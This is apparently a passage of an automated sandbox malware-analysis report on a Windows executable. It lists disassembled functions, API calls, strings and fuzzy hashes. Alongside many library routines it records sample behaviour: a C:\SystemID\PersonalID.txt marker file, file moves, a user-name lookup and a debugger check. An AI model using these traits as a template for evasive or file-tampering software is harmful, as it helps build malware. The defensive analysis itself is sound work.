Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(005C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

